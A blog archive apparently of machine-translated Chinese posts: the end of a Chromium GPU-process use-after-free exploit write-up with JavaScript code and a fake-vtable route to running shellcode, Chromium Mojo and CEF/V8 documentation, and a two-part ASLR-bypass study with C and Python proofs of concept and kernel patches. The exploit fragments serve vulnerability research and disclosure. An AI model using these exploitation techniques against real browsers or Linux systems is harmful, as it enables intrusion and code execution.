 gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16));
 for (var i = 0; i < 4; ++i) {
   data = new DataView(read(this, i));
   for (var j = 0; j < 0xf0; ++j) {
     if (fake.getUint8(j) != data.getUint8(j)) {
       log('uaf block index is ' + i.toString());
       this.index = i;
       return this;
     }
   }
 }
}

此时,我们可以修改对象,使我们能够从GPU进程的所有内存中进行读写;有关如何使用gl.readPixels和gl.blitFrameBuffer方法,请参见read_write函数。

现在,从这一点开始执行任意代码应该是相当简单的,尽管当您必须替换c++对象时,让您的ROP链很好地排列起来通常是一件痛苦的事情,但这是一个非常容易处理的问题。还有另一个诀窍可以使这种利用变得更加优雅。

SwiftShader 使用Shader 的JIT编译以获得尽可能高的性能,而JIT编译器使用另一个c++对象来处理加载生成的ELF可执行文件并将其映射到内存中。也许我们可以创建一个假对象,将egl::ImageImplementation对象用作SubzeroReactor::ELFMemoryStreamer (https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Reactor/SubzeroReactor.cpp?rcl=fe79649598fb9bdf6d4567d58704e3a255dd5bb6&l=439) 对象,并让GPU进程为我们加载ELF文件作为负载,而不是自己摆弄?

所以,我们可以通过创建一个假的vtable,像这样:
egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternal
egl::ImageImplementation::unlockInternal -> ELFMemoryStreamer::getEntry
egl::ImageImplementation::release -> shellcode

然后,当我们从这个图像对象读取时,我们将在GPU进程中执行我们的shellcode,而不是将像素返回给javascript。

结论
有趣的是,我们可以在现代浏览器代码库的一些不太可能的地方直接发现javascript可访问的攻击面,当我们从侧面看事情时——避免了可能更明显和更有争议的领域,如主要的javascript JIT引擎。

许多代码库有很长的开发历史,在不同版本之间的兼容性和一致性方面也有许多权衡。有必要回顾一下其中的一些特性,看看在发布这些特性之后,最初的期望是否仍然有效,以及它们今天是否仍然有效,或者这些特性是否真的可以在不对用户产生重大影响的情况下被删除。

by blast

Chromium doc: Mojo



https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md
机器翻译+人工简单润色。

从Mojo开始

要在已经支持Mojo的应用程序(如Chrome)中开始使用Mojo,最快的方法是查看您选择的语言(C++[1]、JavaScript[2]或Java[3])的绑定文档,以及MojomIDL和绑定生成器的文档[4]。
如果您正在查找有关创建和/或连接到服务的信息,请参阅顶级服务文档 [5]。
有关将旧的东西转换成新的东西的具体细节,请查看将传统ChromeIPC转换为Mojo的过程 [6]。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#C_Bindings
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#JavaScript-Bindings
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#Java-Bindings
[4] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[5] https://chromium.googlesource.com/chromium/src/+/master/services/README.md
[6] https://chromium.googlesource.com/chromium/src/+/master/ipc/README.md

系统概述
Mojo是运行时库的集合,提供了公共IPC原语的平台无关抽象、消息IDL格式和绑定库,其中包含针对多种目标语言的代码生成,以方便消息跨越任意进程间和进程内边界。

这里的文档是根据包含Mojo的不同库进行分割的。特征的基本层次如下:

(IMG)

Mojo库分层:底层为核心,顶部为语言绑定,中间为公共系统支持API

Mojo内核
为了使用任何更有趣的高级支持库,如系统API或绑定API,进程必须首先初始化Mojo Core。
进行一次初始化之后,在进程生命周期的剩余时间内一直处于活动状态。
初始化MojoCore有两种方法:通过EmbedderAPI,或者通过动态链接库。

嵌入
许多通过Mojo互连的进程都是嵌入程序,这意味着它们静态地链接到/mojo/core/Embedder目标,并通过调用mojo::core::init()来初始化每个进程中的Mojo支持。
有关更多细节,请参见Mojo CoreEmbedderAPI [1]。
这是一个合理的选择,因为您可以保证所有相互连接的进程二进制文件都链接到完全相同的MojoCore修订版上。
若要支持其他方案,请使用动态链接。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/core/embedder/README.md

动态链接

在某些平台上,应用程序还可以依赖动态链接的Mojo Core库(libmojo_core.so或mojo_core.dll),而不是静态链接Mojo Core。
为了利用这一机制,相应的库必须存在于以下文件中:
* 应用程序的工作目录。
* 由mojo_core_Library_path环境变量命名的目录。
* 应用程序在运行时显式命名的目录。

使用动态Mojo Core的应用程序不像嵌入式程序那样调用mojo::core::init(),而是从C系统API调用MojoInitiize()。
此调用将尝试定位(参见上文)并加载一个MojoCore库,以支持进程中后续的MojoAPI使用。
请注意,Mojo Core共享库提供了一个稳定的、向前兼容的C ABI,它可以支持更高级别、公共(而非二进制稳定)系统和绑定API的所有当前和未来版本。

C++
C++ System API [1]提供了一层C+帮助器类和函数,使安全系统API的使用更容易:强类型句柄作用域、同步等待操作、系统句柄包装和展开帮助程序、公共句柄操作,以及更容易监视句柄状态更改的实用程序。
JavaScript
JavaScript System API [2]将Mojo原语公开给JavaScript,涵盖了低级CAPI的所有基本功能。
Java
Java System API [3]提供了用于处理Mojo原语的助手类,涵盖了低级CAPI的所有基本功能。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/system/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/third_party/blink/renderer/core/mojo/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/system/README.md

高级绑定api
通常,开发人员不直接使用原始消息管道I/O,而是定义一些接口集,这些接口用于生成类似于所选择的目标语言的惯用方法调用接口的代码。这是绑定层。

Mojom IDL和绑定生成器
接口是使用MojomIDL [1]定义的,可以将其提供给绑定生成器[2],以生成各种受支持的语言中的代码。
生成的代码管理接口客户端和实现之间消息的序列化和反序列化,简化代码-并最终将消息管道隐藏在接口连接的两侧。

C++绑定
到目前为止,由Mojo定义的最常用的API,C++绑定API [3]公开了一组健壮的特性,用于通过生成的C+绑定代码与消息管道交互,包括对相关绑定端点集、关联接口、嵌套同步IPC、版本控制、坏消息报告、任意消息筛选器注入和方便的测试工具的支持。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/bindings/README.md

JavaScript绑定。
JavaScript binding API [1]提供了帮助器类,用于处理由绑定生成器发出的JavaScript代码。

Java绑定。
Java Bindings API [2]提供了帮助器类,用于处理由绑定生成器发出的Java代码。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/js/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/bindings/README.md

常见问题。
为什么不是protobuf或者其他的?
对于这个问题,可能有很多不错的答案,但最重要的是,一个有用的IPC机制必须支持跨越进程边界的本地对象句柄(例如,文件描述符)的传输。
其他支持此功能的非新IPC(例如d-bus)也有其自身的重大缺陷。

信息管道运行时代价很高吗?
不。作为实现细节,创建消息管道实质上是生成两个随机数,并将它们填充到一个哈希表中,以及一些很小的堆分配。

所以说真的,我能创造出成千上万个这样的东西吗?
是。没人会介意的。创造数以百万计的人,如果你愿意的话。(好吧,但也许不需要。)。

Mojo的性能特点是什么?
与Chrome中的旧IPC相比,进行Mojo调用大约要快1/3,使用的上下文切换也少1/3。完整的数据可在这里获得。 (https://docs.google.com/document/d/1n7qYjQ5iy8xAkQVMYGqjIy_AXu2_JJtMoAcOOupO_jQ/edit)

我可以使用进程内消息管道吗?
是的,而且消息管道的使用是相同的,不管管道是否真的跨越了进程边界-事实上,这个细节是有意模糊的。
不跨越进程边界的消息管道是高效的:发送的消息永远不会被复制,一端的写操作将同步地修改另一端的消息队列。
例如,当使用生成的C++绑定时,最终的结果是一个线程上的InterfacePtr向另一个线程上的绑定(甚至同一个线程)发送消息,实际上是一个PostTask到绑定的TaskRunner,同时增加了序列化、反序列化、验证和一些内部路由逻辑的开销(但通常很小)。

Saturday, November 17, 2018 by blast

V8 wiki



描述
V8是Google的开源JavaScript引擎。
V8是用C++编写的,在谷歌的开源浏览器Google Chrome中使用。
V8实现ECMA-262第5版中指定的ECMASScript,并运行在Windows(XP或更新版本)、Mac OS X(10.5或更新版本)和使用IA-32、x64或ARM处理器的Linux系统上。

编译:https://www.aldeid.com/wiki/V8

————————-

在其他工程中使用V8:https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration
(下为机器翻译+简单人工润色)

导言
Chrome和CEF使用V8 JavaScript引擎实现内部JavaScript(JS)。浏览器中的每个框架都有自己的JS上下文,为在该框架中执行的JS代码提供范围和安全性(有关更多信息,请参见“使用上下文”一节)。CEF为客户端应用程序中的集成提供了大量的JS特性。
对于CEF 3,Blink(WebKit)和JS执行在单独的呈现程序进程中运行。呈现程序进程中的主线程被标识为TID_renderer,所有V8执行都必须在该线程上执行。与JS执行相关的回调通过CefRenderProcessHandler接口公开。当初始化新的呈现程序进程时,通过CefApp::GetRenderProcessHandler()检索该接口。

应该使用异步回调来设计在浏览器和呈现程序进程之间进行通信的JSAPI。有关更多信息,请参见GeneralUsagewiki页面的“异步JavaScript绑定”部分。

执行JavaScript
从客户机应用程序执行JS的最简单方法是使用CefFrame::ExecuteJavaScript()函数。
该函数在浏览器进程和render程序进程中都可用,并且可以在JS上下文之外安全地使用。

CefRefPtr<CefBrowser> browser = ...;
CefRefPtr<CefFrame> frame = browser->GetMainFrame();
frame->ExecuteJavaScript("alert('ExecuteJavaScript works!');",
    frame->GetURL(), 0);

上面的示例将执行alert(‘ExecuteJavaScriptWorks!’);在浏览器的主框架中执行。
可以使用ExecuteJavaScript()函数与框架的JS上下文中的函数和变量进行交互。
为了将值从JS返回到客户机应用程序,请考虑使用窗口绑定或扩展。

窗口绑定。
窗口绑定允许客户端应用程序将值附加到框架的窗口对象。
窗口绑定使用CefRenderProcessHandler::OnContextCreated()方法实现。

void MyRenderProcessHandler::OnContextCreated(
    CefRefPtr<CefBrowser> browser,
    CefRefPtr<CefFrame> frame,
    CefRefPtr<CefV8Context> context) {
  // Retrieve the context's window object.
  CefRefPtr<CefV8Value> object = context->GetGlobal();

  // Create a new V8 string value. See the "Basic JS Types" section below.
  CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");

  // Add the string to the window object as "window.myval". See the "JS Objects" section below.
  object->SetValue("myval", str, V8_PROPERTY_ATTRIBUTE_NONE);
}

然后,框架中的JavaScript可以与窗口绑定交互。

<script language="JavaScript">
alert(window.myval); // Shows an alert box with "My Value!"
</script>

每次重新加载框架时,都会重新加载窗口绑定,从而使客户端应用程序有机会在必要时更改绑定。
例如,可以通过修改绑定到该帧的窗口对象的值,让不同的帧访问客户端应用程序中的不同功能。

扩展
扩展类似于窗口绑定,只是它们被加载到每个帧的上下文中,并且一旦加载就不能修改。
当加载扩展时,DOM不存在,并且在扩展加载期间试图访问DOM将导致崩溃。
扩展是使用应当从CefRenderProcessHandler::OnWebKitInitialized()方法调用的CefRegisterExtension()函数注册的。

void MyRenderProcessHandler::OnWebKitInitialized() {
  // Define the extension contents.
  std::string extensionCode =
    "var test;"
    "if (!test)"
    "  test = {};"
    "(function() {"
    "  test.myval = 'My Value!';"
    "})();";

  // Register the extension.
  CefRegisterExtension("v8/test", extensionCode, NULL);
}

ExtensionCode表示的字符串可以是任何有效的JS代码。
然后,框架中的JS可以与扩展代码交互。

<script language="JavaScript">
alert(test.myval); // Shows an alert box with "My Value!"
</script>

基本JS类型。
CEF支持创建基本的JS数据类型,包括未定义的、NULL、bool、int、Double、Date和String。
这些类型是使用CefV8Value::Create*()静态方法创建的。
例如,要创建一个新的JS字符串值,可以使用CreateString()方法。

CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");

基本值类型可以随时创建,并且最初不与特定上下文关联(有关更多信息,请参见“使用上下文”一节)。
要测试值类型,请使用is*()方法。

CefRefPtr<CefV8Value> val = ...;
if (val.IsString()) {
  // The value is a string.
}

要检索该值,请使用get*value()方法。

CefString strVal = val.GetStringValue();
Sunday, July 15, 2018 by blast

New bypass and protection techniques for ASLR on Linux (2)



机器翻译加简单人工润色,翻译自:http://www.openwall.com/lists/oss-security/2018/02/27/5

相关讨论:https://lkml.org/lkml/2018/3/22/484

==========================================
II.8. 已分配内存缓存。
==========================================

glibc有许多不同的缓存,其中两个缓存在ASLR的上下文中很有趣:新创建线程的栈的缓存和栈。栈缓存的工作方式如下:在线程终止时,不会释放栈内存,而是将其传输到相应的缓存中。创建线程栈时,glibc首先检查缓存。如果缓存包含所需的内容,glibc使用该区域。在这种情况下,mmap将不会被访问,新线程将使用具有相同地址的以前使用的区域。如果攻击者成功地获得了线程堆栈地址,并且能够控制程序线程的创建和删除,则入侵者可以利用该地址的知识进行漏洞攻击。此外,如果应用程序包含未初始化的变量,它们的值也可能受攻击者的控制,这在某些情况下可能会导致攻击。

堆缓存的工作方式如下:在线程终止时,其堆移动到相应的缓存。当为新线程再次创建堆时,首先检查缓存。如果缓存具有可用区域,则将使用此区域。在本例中,上一段中有关堆栈的所有内容在这里也适用。

Here is PoC:

void * func(void *x)
{
long a[1024];
printf(”addr: %pn”, &a[0]);
if (x)
printf(”value %lxn”, a[0]);
else
{
a[0] = 0xdeadbeef;
printf(”value %lxn”, a[0]);
}
void * addr = malloc(32);
printf(”malloced %pn”, addr);
free(addr);
return 0;
}

int main(int argc, char **argv, char **envp)
{
int val;
pthread_t thread;
printf(”thread1n”);
pthread_create(&thread, NULL, func, 0);
pthread_join(thread, &val);
printf(”thread2n”);
pthread_create(&thread, NULL, func, 1);
pthread_join(thread, &val);
return 0;
}

blackzert@…sher:~/aslur/tests$ ./pthread_cache
thread1
addr: 0×7fd035e04f40
value deadbeef
malloced (b) 0×7fd030000cd0
thread2
addr: 0×7fd035e04f40
value deadbeef
malloced 0×7fd030000cd0

可以清楚地看到,连续创建的线程堆栈中局部变量的地址保持不变。同样,通过malloc为它们分配的变量的地址也是一样的;第二个线程仍然可以访问第一个线程的本地变量的一些值。攻击者可以利用此漏洞攻击未初始化变量的漏洞[18]。尽管缓存加快了应用程序的速度,但它也使攻击者能够绕过ASLR并执行攻击。

==========================================
II.9.线程缓存对齐。
==========================================

现在让我们创建一个线程,使用malloc分配一些内存,并计算与这个线程中的局部变量的差值。源代码:

void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr;
ptr = malloc(8);
printf(”%lxn%p, %pn”, (unsigned long long)ptr - (unsigned long long)p_a,
ptr, p_a);
return 0;
}

int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}

The first launch:

blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0×7f20480008c0, 0×7f204fbb1f34

And the second launch:

blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0×7fa3140008c0, 0×7fa31ab5af34

在这种情况下,差别是不一样的。每次执行它也不会保持不变。让我们考虑一下原因。

首先要注意的是:malloc派生的指针地址与进程堆地址不对应。

glibc为使用pthread_create创建的每个新线程创建一个新堆。指向此堆的指针位于TLS中,因此任何线程都会从自己的堆中分配内存,这会提高性能,因为在并发使用malloc时不需要同步线程。但为什么地址是“随机的”呢?

分配新堆时,glibc使用mmap;大小取决于配置。在这种情况下,堆大小是64 MB。堆起始地址必须与64 MB对齐。因此,系统首先分配128 MB,然后在此范围内对齐64 MB的块,同时释放未对齐的块,并在堆地址和先前分配mmap的最近区域之间创建一个“hole”。
当选择mmap_based时,内核本身带来了随机性:这个地址没有与64 MB对齐,在调用有关malloc之前的mmap内存分配也是如此。
不管为什么需要地址对齐,这都会导致一个非常有趣的效果:可以暴力破解。

Linux内核将x86-64的进程地址空间定义为“48 bit - 1 protect page”,为了简单起见,我们将其舍入到2^48(在计算大小时省略减1页)。64 MB是2^26,所以有效位等于48-26=22,总共给我们提供了2^22个不同的次线程堆。

这大大缩小了强制范围。

因为mmap地址是以一种已知的方式选择的,所以我们可以假定,使用pthread_create创建的第一个线程的堆将被选择为64 MB,接近上地址范围。更准确地说,它将接近所有加载的库、加载的文件等等。
在某些情况下,可以计算在调用有关malloc之前分配的内存量。在本例中,我们只加载了glibc和ld,并为线程创建了一个栈。所以这个值很小。

mmap_base是根据编译时的内核设置(默认为28位)选择的,熵为28到32位。所以一些上边界被相同的数量所抵消。
因此,在许多情况下,地址的上8位将等于0×7f,而在少数情况下,它们将是0×7e。这给了我们另外8 bit的确定性。为第一个线程选择堆总共有2^14种可能的选项。
创建的线程越多,用于下一个堆选择的值就越少。

让我们用以下C代码演示此行为:

void * first(void *x)
{
    int a = (int)x;
    void *ptr;
    ptr = malloc(8);
    printf("%pn", ptr );
    return 0;
}

int main()
{
    pthread_t one;
    pthread_create(&one, NULL, &first, 0);
    void *val;
    pthread_join(one,&val);
    return 0;
}

然后,让我们用Python代码启动足够多的程序来收集地址统计信息:

import subprocess
d = {}
def dump(iteration, hysto):
    print 'Iteration %d len %d'%(iteration, len(hysto))
    for key in sorted(hysto):
        print hex(key), hysto[key]
i = 0
while i < 1000000:
    out = subprocess.check_output(['./t'])
    addr = int(out, 16)
    #omit page size
    addr >>= 12
    if addr in d:
        d[addr] += 1
    else:
        d[addr] = 1
    i += 1
dump(i,d)

此代码启动简单的“./t”程序,该程序创建一个新线程足够多次。
代码借助malloc分配缓冲区并显示缓冲区地址。一旦程序完成此操作,将读取地址并计算在程序操作期间遇到地址的次数。该脚本总共收集了16,385个不同的地址,等于2^14+1。在最坏的情况下,这是攻击者可以尝试猜测所述程序的堆地址的次数。

=========================================
iii. 解决方案
=========================================

在本文中,我们回顾了几个问题-其中一些涉及到Linux内核,一些涉及到GNU Libc;现在我们可以考虑对Linux内核进行修复。
您可以通过以下链接跟踪GNU Libc问题:

- Stack protector easy to bypass
https://sourceware.org/bugzilla/show_bug.cgi?id=22850
- ld library ELF load error
https://sourceware.org/bugzilla/show_bug.cgi?id=22851
- Thread stack and heap caches
https://sourceware.org/bugzilla/show_bug.cgi?id=22852
- Heap address of pthread_create thread is aligned
https://sourceware.org/bugzilla/show_bug.cgi?id=22853

=========================================
iii.1 holes
=========================================

如第II.4节所示,Linux内核中的ELF解释器加载程序包含一个错误,并允许释放部分解释器库内存。
社区提出了一项相关的解决办法,但没有采取行动:
https://lkml.org/lkml/2017/7/14/290

=========================================
III.2加载ELF文件段的顺序。
=========================================

如上所述,在内核和glibc库的代码中,没有检查文件ELF段:代码只是相信它们的顺序是正确的。随函附上概念证明代码和修复程序:
https://github.com/blackzert/aslur

修复非常简单:我们遍历各个段并确保当前段与下一个段重叠,并且这些段按vaddr的升序排序。

https://lkml.org/lkml/2018/2/26/571

=========================================
iii.3在搜索mmap分配地址时使用mmap_min_addr。
=========================================

一旦为mmap编写了修复程序,为了以足够的熵返回地址,就会出现一个问题:一些mmap调用失败,导致访问权限错误。在执行execve时,即使是作为根用户或内核请求时也会发生这种情况。

在地址选择算法(前面介绍)中,列出的选项之一是检查地址是否有安全限制。在当前实现中,此检查验证所选地址是否大于mmap_min_addr。这是一个系统变量,管理员可以通过sysctl对其进行更改。系统管理员可以设置任何值,并且。
进程不能以小于此值的地址分配页。默认值是65536。

问题是,当在x86-64上调用mmap的地址函数时,Linux内核使用4096作为最小下限的值,这个值小于mmap_min_addr的值。如果所选地址介于4096和mmap_min_addr之间,函数capmmap_addr禁止此操作。

capmmap_addr被隐式调用;这个函数被注册为一个用于安全检查的钩子。这种体系结构解决方案提出了一些问题:首先,我们在没有能力用外部标准测试地址的情况下选择地址,然后根据当前的系统参数检查它的允许性。如果该地址没有通过检查,那么即使该地址是由内核选择的,也会被“禁止”,整个操作将以EPERM错误结束。

攻击者可以利用此问题在整个系统中造成拒绝服务:
如果攻击者能够指定一个非常大的值,系统就无法启动任何用户进程。此外,如果攻击者设法将该值存储在系统参数中,则即使重新引导也不会有任何帮助-所有创建的进程都将因EPERM错误而终止。

目前,修复方法是在向地址搜索函数发出请求时使用mmap_min_addr值作为允许的最低地址。这样的代码已经用于所有其他体系结构。
如果系统管理员开始在运行中的计算机上更改此值,会发生什么情况?这个问题仍然没有得到回答,因为更改之后的所有新分配都可能以EPERM错误结束;没有程序代码希望出现这样的错误,也不知道如何处理它。mmap文档说明如下:

“EPERM的处理函数阻止了这项操作;见fcntl(2)。”

也就是说,内核不能将EPERM返回到MAP_ANONYMOUS,尽管事实上并非如此。

https://lkml.org/lkml/2018/2/26/1053

=========================================
iii.4 mmap
=========================================

这里讨论的主要mmap问题是地址选择中缺少熵。
理想情况下,逻辑上的解决办法是随机选择内存。要随机选择它,必须首先建立一个具有适当大小的所有自由区域的列表,然后从该列表中选择满足搜索标准(请求区域的长度和允许的上下边界)的随机区域和该区域的地址。

为了实现这一逻辑,可以采用以下方法:

1.将空隙列表保存在降序数组中。在这种情况下,随机元素的选择是在单个操作中进行的,但是维护这个数组需要很多操作,以便在进程的当前虚拟地址空间映射发生变化时释放(分配)内存。
2.将空隙列表保存在树和列表中,以便找到满足长度要求的外部边界,并从数组中选择一个随机元素。如果该元素不符合最小/最大地址限制,则选择下一个,依此类推,直到找到一个(或不保留)。这种方法涉及复杂的列表和树结构,类似于VMA在地址空间更改方面已经存在的结构。
3.使用增广红黑VMA树的现有结构来绕过允许的空隙列表,并选择一个随机地址。在最坏的情况下,每个选择都必须绕过所有的峰值,但是重建树不会导致性能的任何额外的下降。

我们的选择走到了最后一条路。我们可以使用现有的VMA。
不添加冗余的组织结构,并使用以下算法选择地址:
1.使用现有算法查找具有最大有效地址的可能空白。同时,记录下VMA的结构。如果没有这样的结构,返回ENOMEM。
2.将发现的间隙记录为结果,将VMA记录为最大上边界。
3.从双链接列表中获取第一个VMA结构。它将是红-黑树上的一片叶子,因为它有最小的地址.。
4.从选定的VMA中对树进行左遍历,检查有关VMA与其前身之间的空闲区域的允许性。如果自由区域被限制所允许,则获得另一位熵。如果熵位为1,则重新定义空隙的当前值。
5.从选定的间隙空区返回随机地址。

优化算法的第四步的一种方法是不进入间隙扩展大小小于所需长度的子树。

此算法选择一个具有足够熵的地址,尽管它比当前的实现要慢。

至于明显的缺点,有必要绕过所有具有足够空隙长度的VMA结构。但是,在更改地址空间时,不会出现任何性能下降,从而抵消了这一点。

下面是修补程序之后的`less /proc/self/maps‘的输出:

314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r–p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p

3169afcd8000-3169afcdb000 rw-p

316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 —p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r–p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9

3204e362d000-3204e3630000 rw-p

4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 —p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r–p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p

509000396000-509000d60000 r–p /usr/lib/locale/locale-archive

56011c1b1000-56011c1d7000 r-xp /bin/less
56011c3d6000-56011c3d7000 r–p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p

56011e0d8000-56011e0f9000 rw-p [heap]

7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r–p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]

https://lkml.org/lkml/2018/2/27/267

========================================================================
IV. Related Work
========================================================================

The problem with current mmap behavior was also found by other researches:

Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. 2016
https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf

Julian Kirsch, Bruno Bierbaumer, Thomas Kittel and Claudia Eckert Dynamic
Loader Oriented Programming on Linux. 2017
https://github.com/kirschju/wiedergaenger/blob/master/kirsch-roots-2017-paper.pdf

========================================================================
V. References
========================================================================

1. https://lkml.org/lkml/2012/11/5/673
2. https://cwe.mitre.org/data/definitions/119.html
3. https://cwe.mitre.org/data/definitions/190.html
4. https://cwe.mitre.org/data/definitions/120.html
5. https://cwe.mitre.org/data/definitions/704.html
6. https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
7. https://www.cvedetails.com/cve/CVE-2014-9427/
8. https://source.android.com/security/enhancements/enhancements70
9. https://android-review.googlesource.com/c/platform/bionic/+/178130/2
10. http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html
11. http://www.phrack.org/issues/49/14.html#article
12.
http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf
13. https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf
14.
https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf
15. https://cwe.mitre.org/data/definitions/416.html
16. http://www.skyfree.org/linux/references/ELF_Format.pdf
17. https://lwn.net/Articles/741335/
18. https://cwe.mitre.org/data/definitions/457.html
19. http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html

All sources and patches could be found at https://github.com/blackzert/aslur
repo.

Sunday, July 1, 2018 by blast

New bypass and protection techniques for ASLR on Linux (1)



http://www.openwall.com/lists/oss-security/2018/02/27/5

本文由机器翻译加简单人工润色得到.

========================================================================
Contents
========================================================================

I. Introduction
II. Problems with current implementation
II.1. Close proximity of memory location
II.2. Fixed method of loading libraries
II.3. Fixed order of execution
II.4. Holes
II.5. TLS and thread stack
II.6. malloc and mmap
II.7. MAP_FIXED and loading of ET_DYN ELF files
II.8. Cache of allocated memory
II.9. thread cache alignment
III. Solutions
III.1 Holes
III.2 Order of loading ELF file segments
III.3 Use of mmap_min_addr when searching for mmap allocation addresses
III.4 mmap
IV. Related Work
V. References

========================================================================
I. 介绍
========================================================================

开始前,版本信息:
$ uname -a
Linux blackzert-virtual-machine 4.13.0-36-generic #40-Ubuntu SMP Fri Feb 16
20:07:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ ldd –version
ldd (Ubuntu GLIBC 2.26-0ubuntu2.1) 2.26

今天说的这些东西对 Kernel - 4.16-rc3, GNU Libc 2.27 也一样有效

通过这个步骤开始我们的研究:
$ less /proc/self/maps

5607a1ae5000-5607a1b0b000 r-xp 00000000 08:01 1966152 /bin/less
5607a1d0a000-5607a1d0b000 r–p 00025000 08:01 1966152 /bin/less
5607a1d0b000-5607a1d0f000 rw-p 00026000 08:01 1966152 /bin/less
5607a1d0f000-5607a1d13000 rw-p 00000000 00:00 0
5607a3bf8000-5607a3c19000 rw-p 00000000 00:00 0 [heap]
7f4d147e7000-7f4d14bf4000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7f4d14bf4000-7f4d14dca000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14dca000-7f4d14fca000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fca000-7f4d14fce000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fce000-7f4d14fd0000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fd0000-7f4d14fd4000 rw-p 00000000 00:00 0
7f4d14fd4000-7f4d14ff9000 r-xp 00000000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d14ff9000-7f4d151f8000 —p 00025000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151f8000-7f4d151fc000 r–p 00024000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fc000-7f4d151fd000 rw-p 00028000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fd000-7f4d15224000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d1540b000-7f4d15410000 rw-p 00000000 00:00 0
7f4d15424000-7f4d15425000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15425000-7f4d15426000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15426000-7f4d15427000 rw-p 00000000 00:00 0
7ffdeb3ec000-7ffdeb40d000 rw-p 00000000 00:00 0 [stack]
7ffdeb41e000-7ffdeb421000 r–p 00000000 00:00 0 [vvar]
7ffdeb421000-7ffdeb423000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

- 程序的起始地址是5607a1ae5000.
- 堆的起始地址是5607a3bf8000, 作为二进制应用程序结尾的地址加上一个随机值,在本例中,它等于0×1ee5000 (5607a3bf8000-5607a1d13000).
因为是x86-64架构,所以这个地址按2^12对齐了。

- 地址 7f4d15427000 被选为 mmap_base. 当通过mmap系统调用为任何内存分配选择随机地址时,该地址将作为上边界。
- 库 ld-2.26.so, libtinfo.so.5.9, and libc-2.26.so 被顺序定位。

如果将减法应用于相邻的内存区域,我们将注意到以下几点:二进制文件、堆栈、最低本地存档地址和最高ld地址之间有很大的差别。
